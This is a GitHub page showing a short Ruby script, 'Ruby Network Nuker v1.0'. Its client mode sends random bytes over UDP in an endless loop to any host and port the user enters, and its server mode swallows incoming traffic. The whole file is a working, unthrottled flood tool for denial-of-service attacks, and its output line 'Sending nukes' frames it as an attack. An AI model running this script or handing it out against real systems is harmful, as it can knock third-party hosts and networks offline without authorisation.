-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathNetworkNuker.rb
97 lines (76 loc) · 1.98 KB
/
NetworkNuker.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
require 'socket'
LARGEST_DATA = 25600
LARGEST_RAND = 2**64 - 1
def generateBytes()
puts("Generating data")
largeIntegerArray = []
i = 0
while i < LARGEST_DATA
randomSixtyFourBitInteger = rand(LARGEST_RAND)
largeIntegerArray.push(randomSixtyFourBitInteger)
i = i + 8
end
return largeIntegerArray.pack("N*")
end
def local_ip
orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true # turn off reverse DNS resolution temporarily
UDPSocket.open do |s|
s.connect '64.233.187.99', 1
s.addr.last
end
ensure
Socket.do_not_reverse_lookup = orig
end
def setupSocket(portNumber)
socket = UDPSocket.new
currentIP = local_ip
puts("Current local IP address #{currentIP}")
socket.bind(currentIP, portNumber)
return socket
end
def sendInfiniteTraffic(socket, msg, flags, host, port)
puts("Sending data to #{host}:#{port}")
#bytesCounter = 0
#kibiBytes = 0
while 1
#bytesCounter = bytesCounter + socket.send(msg, flags, host, port)
socket.send(msg, flags, host, port)
#if bytesCounter > 1024 then
# kibiBytes = kibiBytes + 1
# bytesCounter = bytesCounter % 1024
# puts("Sent #{kibiBytes} kibibytes so far")
#end
end
end
def receiveInfiniteTraffic(socket)
kibibyteCounter = 0
while 1
begin
socket.recvfrom_nonblock(1024)
rescue
end
end
end
def main
puts("Ruby Network Nuker v1.0")
puts("Enter in the port number: ")
portNumber = gets.chomp.to_i
socket = setupSocket(portNumber)
puts("Is this a client or server?")
choice = gets.chomp
puts("You chose \"#{choice}\"")
case(choice)
when "server"
puts("Initiating reception")
receiveInfiniteTraffic(socket)
when "client"
puts("Where do you want to send data?")
destHost = gets.chomp
puts("Which port do you want to send to?")
destPort = gets.chomp.to_i
msg = generateBytes()
puts("Sending nukes")
sendInfiniteTraffic(socket, msg, 0, destHost, destPort)
end
end
main